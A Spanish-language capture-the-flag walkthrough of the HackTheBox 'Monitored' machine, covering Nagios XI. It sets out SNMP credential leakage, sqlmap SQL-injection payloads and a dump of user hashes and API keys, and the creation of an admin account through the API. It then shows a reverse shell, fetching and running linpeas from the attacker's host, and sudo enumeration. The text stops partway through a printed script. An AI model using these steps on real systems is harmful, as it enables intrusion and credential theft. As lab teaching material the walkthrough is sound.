Monitored – HackTheBox Link to heading

  • OS: Linux
  • Difficulty/Dificultad: Medium
  • Plataforma: HackTheBox

‘Monitored’ Avatar


User / Usuario Link to heading

Empezamos con un scan con Nmap contra la máquina víctima, donde vemos los siguientes puertos abiertos: 22 SSH, 80 HTTP, 389 Lightweight Directory Access Protocol (LDAP), 443 HTTPs y 5667 (un servicio, de momento, desconocido)

❯ sudo nmap -sVC -p22,80,389,443,5667 10.10.11.248 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 19:00 -04
Nmap scan report for 10.10.11.248
Host is up (0.21s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
|   256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_  256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp   open  http       Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
|_http-title: Nagios XI
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
5667/tcp open  tcpwrapped
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.86 seconds

Mirando el scan al puerto 80 HTTP el servicio redirige a nagios.monitored.htb. De manera que agregamos este dominio a nuestro archivo /etc/hosts de nuestra máquina Linux:

❯ sudo echo '10.10.11.248 monitored.htb nagios.monitored.htb' >> /etc/hosts

donde 10.10.11.248 es la IP de la máquina víctima.

Esta máquina también presenta puertos UDP abiertos:

❯ sudo nmap -sUV -p123,161 10.10.11.248 -oN targeted_UDP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 19:47 -04
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.16s latency).

PORT    STATE SERVICE VERSION
123/udp open  ntp     NTP v4 (unsynchronized)
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: monitored

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

con el puerto 161 corriendo el servicio Simple Network Management Protocol (SNMP).

Visitando https://nagios.monitored.htb podemos ver una página web:

Monitored 1

El server está, aparentemente, corriendo Nagios XI, un software utilizado para el monitoreo de actividades.

Información
Nagios XI es una interfaz extendida de Nagios Core. Nagios es un sistema de monitorización de redes ampliamente utilizado, de código abierto, que vigila los equipos y servicios que se especifiquen, alertando cuando el comportamiento de los mismos no sea el deseado.

Clickeando en Access Nagios XI en esta página web nos lleva a un panel de login:

Monitored 2

Buscando en internet por credenciales por defecto para Nagios XI encontramos que son root:nagiosxi. Pero no funcionan en este panel de login. Otras típicas credenciales como admin:admin o guest:guest tampoco funcionan.

En este punto, dado que no tenemos ninguna credencial válida, intentamos realizar un Brute Force Directory Listing usando Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://nagios.monitored.htb/nagiosxi/ -x php -t 55 -k

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://nagios.monitored.htb/nagiosxi/
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 27] [--> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1]
/images               (Status: 301) [Size: 340] [--> https://nagios.monitored.htb/nagiosxi/images/]
/about                (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/about/]
/.php                 (Status: 403) [Size: 286]
/login.php            (Status: 200) [Size: 26575]
/help                 (Status: 301) [Size: 338] [--> https://nagios.monitored.htb/nagiosxi/help/]
/tools                (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/tools/]
/mobile               (Status: 301) [Size: 340] [--> https://nagios.monitored.htb/nagiosxi/mobile/]
/admin                (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/admin/]
/reports              (Status: 301) [Size: 341] [--> https://nagios.monitored.htb/nagiosxi/reports/]
/account              (Status: 301) [Size: 341] [--> https://nagios.monitored.htb/nagiosxi/account/]
/includes             (Status: 301) [Size: 342] [--> https://nagios.monitored.htb/nagiosxi/includes/]
/install.php          (Status: 302) [Size: 0] [--> https://nagios.monitored.htb/nagiosxi/]
/backend              (Status: 301) [Size: 341] [--> https://nagios.monitored.htb/nagiosxi/backend/]
/db                   (Status: 301) [Size: 336] [--> https://nagios.monitored.htb/nagiosxi/db/]
/api                  (Status: 301) [Size: 337] [--> https://nagios.monitored.htb/nagiosxi/api/]
/upgrade.php          (Status: 302) [Size: 0] [--> index.php]
/config               (Status: 301) [Size: 340] [--> https://nagios.monitored.htb/nagiosxi/config/]
/suggest.php          (Status: 200) [Size: 27]
/views                (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/views/]
/sounds               (Status: 403) [Size: 286]
/rr.php               (Status: 302) [Size: 0] [--> login.php]
/terminal             (Status: 200) [Size: 5215]
/.php                 (Status: 403) [Size: 286]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

Visitando https://nagios.monitored.htb/nagiosxi/terminal/ muestra una especie de terminal que pide un usuario y contraseña:

Monitored 3

de manera que no es interesante de momento, ya que no tenemos credenciales.

De vuelta a los puertos corriendo por protocolo UDP, chequeando los mensajes por SNMP con snmpwalk podemos ver lo siguiente:

❯ snmpwalk -v 2c -c public 10.10.11.248

iso.3.6.1.2.1.1.1.0 = STRING: "Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (434466) 1:12:24.66
iso.3.6.1.2.1.1.4.0 = STRING: "Me <root@monitored.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "monitored"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1581) 0:00:15.81
<SNIP>

pero esto demora demasiado. Podemos realizar esto más rápido corriendo snmpbulkwalk, guardando todo el output en un archivo llamado snmpbulk-output.txt:

❯ snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.248 > snmpbulk-output.txt

Si reviso el archivo creado con cat puedo, eventualmente, ver algo interesante:

❯ cat snmpbulk-output.txt

iso.3.6.1.2.1.1.1.0 = STRING: "Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (451621) 1:15:16.21
iso.3.6.1.2.1.1.4.0 = STRING: "Me <root@monitored.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "monitored"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1581) 0:00:15.81
<SNIP>
iso.3.6.1.2.1.25.4.2.1.5.1379 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
iso.3.6.1.2.1.25.4.2.1.5.1420 = STRING: "-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1421 = STRING: "-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1433 = STRING: "-bd -q30m"
<SNIP>

donde tenemos un usuario y una contraseña: svc:XjH7VCehowpR1xZB

Usando estas credenciales en https://nagios.monitored.htb/nagiosxi/login.php (el panel de login) no funciona:

Monitored 4

No obstante, noto que el mensaje mostrado de la página es distinto a cuando proveía usuario y contraseñas incorrectas:

Monitored 5

de manera que asumo que el usuario svc existe.

De vuelta a los directorios encontrados con Gobuster, el directorio /api, y luego de aplicar algo más de fuerza bruta con los directorios, lleva a la dirección https://nagios.monitored.htb/nagiosxi/api/v1/authenticate/:

Monitored 6

donde usando cURL con el método POST tenemos:

❯ curl -s -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --insecure

{"error":"Must be valid username and password."}

De manera que, aparentemente, el servicio está preguntando por los campos username (usuario) y password (contraseña). Podemos tratar de usar la data que habíamos encontrado previamente por SNMP usando cURL también:

❯ curl -s -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --insecure -d 'username=svc&password=XjH7VCehowpR1xZB'

{"username":"svc","user_id":"2","auth_token":"eebd2c4f308f2ec54f93a4392e75a5a5d952bf50","valid_min":5,"valid_until":"Fri, 10 May 2024 20:42:26 -0400"}

donde podemos ver un auth_token el cual podemos extraer.

Chequeando la documentación de Nagios XI podemos ver que para interactuar con los tokens podemos visitar:

https://localhost:5693/api?token=mytoken

Luego de jugar con los parámetros, proveer el token extraído de la API, y probar algunas cosas, la siguiente página funciona:

❯ curl -s --insecure 'https://nagios.monitored.htb/nagiosxi/login.php?token=eebd2c4f308f2ec54f93a4392e75a5a5d952bf50'


        <!DOCTYPE html>
        <!-- <!DOCTYPE html> -->
<SNIP>

y visitando la página web del servidor víctima https://nagios.monitored.htb/nagiosxi/login.php?token=eebd2c4f308f2ec54f93a4392e75a5a5d952bf50 desde el browser de Firefox muestra un nuevo panel:

Monitored 7

Ahora que estamos logueados es que busco por vulnerabilidades para Nagios XI, más específicamente para la versión 5.11.0 (como se puede ver a la esquina inferior izquierda de la última imagen). Encontramos este post el cual indica un par de potenciales SQL Injection basadas en la ruta:

/nagiosxi/admin/banner_message-ajaxhelper.php

basada en el parámetro id (punto 3 del post) con la acción update_banner_message_settings.

Usamos SQLMap contra esta ruta. Primero, obtengo la cookie nagiosxi yendo a mi navegador de Firefox, luego a Inspect > Storage y obtengo la cookie. En mi caso, la cookie es dkkthk9urkl17li0bsrn5r2t96. Luego le paso toda la data necesaria al prompt de SQLMap:

❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch

<SNIP>
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 261 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: action=acknowledge_banner_message&id=(SELECT (CASE WHEN (4806=4806) THEN 3 ELSE (SELECT 7441 UNION SELECT 9346) END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: action=acknowledge_banner_message&id=3 OR (SELECT 2606 FROM(SELECT COUNT(*),CONCAT(0x7176766b71,(SELECT (ELT(2606=2606,1))),0x716b706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=acknowledge_banner_message&id=3 AND (SELECT 7051 FROM (SELECT(SLEEP(5)))xZsL)
---
[21:54:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.56
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
<SNIP>

Luego, reviso las bases de datos/databases usando la flag --dbs:

❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch --dbs

<SNIP>
available databases [2]:
[*] information_schema
[*] nagiosxi
<SNIP>

Extraigo las tablas de la base de datos nagiosxi:

❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch -D nagiosxi --tables

<SNIP>
Database: nagiosxi
[22 tables]
+-----------------------------+
| xi_auditlog                 |
| xi_auth_tokens              |
| xi_banner_messages          |
| xi_cmp_ccm_backups          |
| xi_cmp_favorites            |
| xi_cmp_nagiosbpi_backups    |
| xi_cmp_scheduledreports_log |
| xi_cmp_trapdata             |
| xi_cmp_trapdata_log         |
| xi_commands                 |
| xi_deploy_agents            |
| xi_deploy_jobs              |
| xi_eventqueue               |
| xi_events                   |
| xi_link_users_messages      |
| xi_meta                     |
| xi_mibs                     |
| xi_options                  |
| xi_sessions                 |
| xi_sysstat                  |
| xi_usermeta                 |
| xi_users                    |
+-----------------------------+
<SNIP>

Y dumpeo/extraigo todo el contenido de la tabla xi_users:

❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch -D nagiosxi -T xi_users --dump

<SNIP>

Database: nagiosxi
Table: xi_users
[2 entries]
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email               | name                 | api_key                                                          | enabled | password                                                     | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 0            | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 0              | 1701427555           |
| 2       | svc@monitored.htb   | svc                  | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1715386179   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 4              | 1699697433           |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
<SNIP>

Donde obtenemos usuarios y hashes de contraseñas. Trato de crackear estas contraseñas, pero no obtengo nada.

Noto que, además de contraseñas, tenemos un parámetro llamado api_key, el cual es IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL para el usuario admin.

Basado en los endpoints de API que hemos encontrado previamente, además de lo especificado en la documentación de Nagios XI mostrada previamente, la api_key puede ser requerida en:

/nagiosxi/api/vi/admin?apikey=<API-KEY>

Si uso la api_key encontrada/dumpeada de la base de datos SQL del usuario svc con cURL tenemos:

❯ curl -s 'https://nagios.monitored.htb/nagiosxi/api/v1/admin?apikey=2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK' --insecure

{"error":"Account is disabled"}

y si uso la api_key del usuario admin de la base de datos, tenemos:

❯ curl -s 'https://nagios.monitored.htb/nagiosxi/api/v1/admin?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' --insecure

No Endpoint: admin

de manera que necesitamos encontrar un endpoint correcto para esta api_key.

Siguiendo las instrucciones de este post de foro de Nagios XI podemos ver cómo crear nuevos usuarios. Más específicamente, la siguiente parte nos es de interés:

curl -XPOST "http://x.x.x.x/nagiosxi/api/v1/system/user?apikey=LTltbjobR0X3V5ViDIitYaI8hjsjoFBaOcWYukamF7oAsD8lhJRvSPWq8I3PjTf7&pretty=1" -d "username=jmcdouglas&password=test&name=Jordan%20McDouglas&email=jmcdouglas@localhost"
{
    "success": "User account jmcdouglas was added successfully!",
    "userid": 13
}

de manera que reemplazo el valor de apikey con el valor hallado para el usuario admin y agrego un usuario con credenciales gunzf0x:gunzf0x123. Hago esto corriendo el siguiente comando con cURL:

❯ curl -s -X POST --insecure 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' -d 'username=gunzf0x&password=gunzf0x123&name=Tester&email=gunzf0x@htb.com'

{"success":"User account gunzf0x was added successfully!","user_id":6}

Puedo loguear con este usuario en https://nagios.monitored.htb/nagiosxi/login.php (el panel de login de siempre). Me pide aceptar unos términos y condiciones (que obviamente leímos) y, posteriormente, cambiar nuestra contraseña. Una vez logueados simplemente veo el mismo panel de login que el usuario svc. De manera que, similar a máquinas previas de HTB, podemos tratar de crear un usuario con privilegios de “admin” al momento de crear un usuario. Tal cual se explica en este post, podemos agregar el parámetro auth_level=admin al momento de crear el usuario. De manera que creo un nuevo usuario llamado gunzf0x2 y la misma contraseña de antes, pero ahora con mayores privilegios.

❯ curl -s -X POST --insecure 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' -d 'username=gunzf0x2&password=gunzf0x123&name=Tester&email=gunzf0x@htb.com&auth_level=admin'

{"success":"User account gunzf0x2 was added successfully!","user_id":7}

Noto, además, que puedo ver los usuarios creados visitando el siguiente endpoint, pero haciendo una petición por GET:

❯ curl -s --insecure 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' | jq

{
  "records": 4,
  "users": [
    {
      "user_id": "7",
      "username": "gunzf0x2",
      "name": "Tester",
      "email": "gunzf0x@htb.com",
      "enabled": "1"
    },
    {
      "user_id": "6",
      "username": "gunzf0x",
      "name": "Tester",
      "email": "gunzf0x@htb.com",
      "enabled": "1"
    },
    {
      "user_id": "2",
      "username": "svc",
      "name": "svc",
      "email": "svc@monitored.htb",
      "enabled": "0"
    },
    {
      "user_id": "1",
      "username": "nagiosadmin",
      "name": "Nagios Administrator",
      "email": "admin@monitored.htb",
      "enabled": "1"
    }
  ]
}

donde puedo ver mis 2 usuarios creados.

De manera que vuelvo al panel de login de siempre, pero esta vez me logueo con el segundo usuario agregado el cual debería tener privilegios de administrador en el servicio. Similar a la primera cuenta, la página nos pide aceptar algunos términos y condiciones (que obviamente volví a leer) y cambiar la contraseña. Hecho esto ahora noto que el panel que se muestra es levemente diferente al que tuvimos acceso:

Monitored 8

Las principales diferencias es que ahora puedo ver las opciones Configure y Admin. Yendo a Configure -> Core Config Manager puedo ver algo como:

Monitored 9

Si clickeamos en Commands (Comandos) podemos ver múltiples tareas:

Monitored 10

Clickeando en Add New (Agregar Nuevo) agrego un nuevo comando llamado rev-shell y agrego el siguiente contenido:

Monitored 11

donde 10.10.16.6 es mi IP de atacante y 443 es el puerto por el cual empezaré a escuchar con netcat. Además, noto que todos los comandos que ya han sido agregados previamente usan paths absolutos para los binarios, de manera que –para asegurarme de que funcione– agrego /bin/bash en lugar de simplemente bash. Clickeo en Save (Guardar) y, luego, de vuelta a la lista que muestra los comandos voy a la parte inferior de la página y clickeo en Apply Configuration (Aplicar Configuración). Luego, vuelvo a Configure -> Core Config Manager, pero esta vez realizamos click en Services, Add-New y creo un nuevo servicio:

Monitored 12

Al final de esta página tenemos un botón Run Check Command (Correr Comando de Chequeo). Al clickear en este me aparece una ventana emergente la cual muestra alguna información del comando:

Monitored 13

Antes de volver a clickear en Run Check Command en la ventana emergente, me pongo en escucha con netcat en el puerto 443. Una vez ya en escucha, clickeo en Run Check Command y obtengo una shell como el usuario nagios:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.248] 48276
bash: cannot set terminal process group (16894): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:~$ whoami

whoami
nagios

donde podemos obtener la flag de usuario en el mismo directorio /home del usuario nagios.

Root Link to heading

Decido pasar LinPEAS (el cual puede ser obtenido desde su repositorio de Github) a la máquina víctima empezando un servidor HTTP temporal de Python en mi máquina en el puerto 8080 donde el archivo linpeas.sh se encuentra localizado:

❯ ls && python3 -m http.server 8080

linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

y lo descargo en la máquina víctima corriendo en ésta:

nagios@monitored:~$ wget http://10.10.16.6:8080/linpeas.sh

--2024-05-10 23:03:40--  http://10.10.16.6:8080/linpeas.sh
Connecting to 10.10.16.6:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                              100%[============================================================================>] 827.94K   111KB/s    in 7.5s

2024-05-10 23:03:50 (111 KB/s) - ‘linpeas.sh’ saved [847815/847815]

nagios@monitored:~$ mv ./linpeas.sh /tmp/linpeas.sh

nagios@monitored:~$ chmod +x !$
chmod +x /tmp/linpeas.sh

nagios@monitored:~$ !$
/tmp/linpeas.sh

Del output de LinPEAS puedo ver algo interesante:

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-r-xr-x--- 1 root nagios 3820 Nov  9  2023 /usr/local/nagiosxi/scripts/manage_ssl_config.sh
-r-xr-x--- 1 root nagios 7861 Nov  9  2023 /usr/local/nagiosxi/scripts/backup_xi.sh
-r-xr-x--- 1 root nagios 9615 Nov  9  2023 /usr/local/nagiosxi/scripts/pg2mysql/convert_nagiosxi_to_mysql.php
-r-xr-x--- 1 root nagios 6166 Nov  9  2023 /usr/local/nagiosxi/scripts/reset_config_perms.sh
-r-xr-x--- 1 root nagios 1654 Nov  9  2023 /usr/local/nagiosxi/scripts/repair_databases.sh
-r-xr-x--- 1 root nagios 1914 Nov  9  2023 /usr/local/nagiosxi/scripts/change_timezone.sh
-r-xr-x--- 1 root nagios 1270 Nov  9  2023 /usr/local/nagiosxi/scripts/import_xiconfig.php
-r-xr-x--- 1 root nagios 3917 Nov  9  2023 /usr/local/nagiosxi/scripts/manage_services.sh
-r-xr-x--- 1 root nagios 4153 Nov  9  2023 /usr/local/nagiosxi/scripts/repairmysql.sh
-r-xr-x--- 1 root nagios 2914 Nov  9  2023 /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
-r-xr-x--- 1 root nagios 1534 Nov  9  2023 /usr/local/nagiosxi/scripts/send_to_nls.php
-r-xr-x--- 1 root nagios 281115 Nov  9  2023 /usr/local/nagiosxi/scripts/components/autodiscover_new.php
-r-xr-x--- 1 root nagios 16693 Nov  9  2023 /usr/local/nagiosxi/scripts/components/getprofile.sh
-r-xr-x--- 1 root nagios 6296 Nov  9  2023 /usr/local/nagiosxi/scripts/migrate/nagios_bundler.py
-r-xr-x--- 1 root nagios 8612 Nov  9  2023 /usr/local/nagiosxi/scripts/migrate/migrate.php
-r-xr-x--- 1 root nagios 18851 Nov  9  2023 /usr/local/nagiosxi/scripts/migrate/nagios_unbundler.py
-r-xr-x--- 1 root nagios 999 Nov  9  2023 /usr/local/nagiosxi/etc/xi-sys.cfg
-rw-r----- 1 root nagios 33 May 10 18:50 /home/nagios/user.txt

donde el archivo /usr/local/nagiosxi/scripts/manage_services.sh se ve interesante.

Además, noto que este archivo puede correr sudo como root sin proporcionar contraseña:

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for nagios on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nagios may run the following commands on localhost:
    (root) NOPASSWD: /etc/init.d/nagios start
    (root) NOPASSWD: /etc/init.d/nagios stop
    (root) NOPASSWD: /etc/init.d/nagios restart
    (root) NOPASSWD: /etc/init.d/nagios reload
    (root) NOPASSWD: /etc/init.d/nagios status
    (root) NOPASSWD: /etc/init.d/nagios checkconfig
    (root) NOPASSWD: /etc/init.d/npcd start
    (root) NOPASSWD: /etc/init.d/npcd stop
    (root) NOPASSWD: /etc/init.d/npcd restart
    (root) NOPASSWD: /etc/init.d/npcd reload
    (root) NOPASSWD: /etc/init.d/npcd status
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *

Chequeando el archivo manage_services.sh tenemos que este contiene:

#!/bin/bash
#
# Manage Services (start/stop/restart)
# Copyright (c) 2015-2020 Nagios Enterprises, LLC. All rights reserved.
#
# =====================
# Built to allow start/stop/restart of services using the proper method based on
# the actual version of operating system.
#
# Examples:
# ./manage_services.sh start httpd
# ./manage_services.sh restart mysqld
# ./manage_services.sh checkconfig nagios
#

BASEDIR=$(dirname $(readlink -f $0))

# Import xi-sys.cfg config vars
. $BASEDIR/../etc/xi-sys.cfg

# Things you can do
first=("start" "stop" "restart" "status" "reload" "checkconfig" "enable" "disable")
second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm")

# Helper functions
# -----------------------

contains () {
    local array="$1[@]"
    local seeking=$2
    local in=1
    for element in "${!array}"; do
        if ` "$element" == "$seeking" `; then
            in=0
            break
        fi
    done
    return $in
}

# Verify to avoid abuse
# -----------------------

# Check to verify the proper usage format
# ($1 = action, $2 = service name)

if ! contains first "$1"; then
    echo "First parameter must be one of: ${first[*]}"
    exit 1
fi

if ! contains second "$2"; then
    echo "Second parameter must be one of: ${second[*]}"
    exit 1
fi

action=$1

# if service name is defined in xi-sys.cfg use that name
# else use name passed
if [ "$2" != "php-fpm" ] && [ ! -z "${!2}" ];then
    service=${!2}
else
    service=$2
fi

# if the action is status, add -n 0 to args to stop journal output
# on CentOS/RHEL 7 systems
args=""
if [ "$action" == "status" ]; then
    args="-n 0"
fi

# Special case for ndo2db since we don't use it anymore
if [ "$service" == "ndo2db" ]; then
    echo "OK - Nagios XI 5.7 uses NDO3 build in and no longer uses the ndo2db service"
    exit 0
fi

# Run the command
# -----------------------

# CentOS / Red Hat

if [ "$distro" == "CentOS" ] || [ "$distro" == "RedHatEnterpriseServer" ] || [ "$distro" == "EnterpriseEnterpriseServer" ] || [ "$distro" == "OracleServer" ]; then
    # Check for enable/disable verb
    if [ "$action" == "enable" ] || [ "$action" == "disable" ]; then
        if [ `command -v systemctl` ]; then
            `which systemctl` --no-pager "$action" "$service"
        elif [ `command -v chkconfig` ]; then
            chkconfig_path=`which chkconfig`
            if [ "$action" == "enable" ]; then
                "$chkconfig_path" --add "$service"
                return_code=$?
            elif [ "$action" == "disable" ]; then
                "$chkconfig_path" --del "$service"
                return_code=$?
            fi
        fi

        exit $return_code
    fi

    if [ `command -v systemctl` ]; then
        `which systemctl` --no-pager "$action" "$service" $args
        return_code=$?
        if [ "$service" == "mysqld" ] && [ $return_code -ne 0 ]; then
            service="mariadb"
            `which systemctl` "$action" "$service" $args
            return_code=$?
        fi
    elif [ ! `command -v service` ]; then
        "/etc/init.d/$service" "$action"
        return_code=$?
    else
        `which service` "$service" "$action"
        return_code=$?
    fi
fi

# OpenSUSE / SUSE Enterprise

if [ "$distro" == "SUSE LINUX" ]; then
    if [ "$dist" == "suse11" ]; then
        `which service` "$service" "$action"
        return_code=$?
    fi
fi


# Ubuntu / Debian

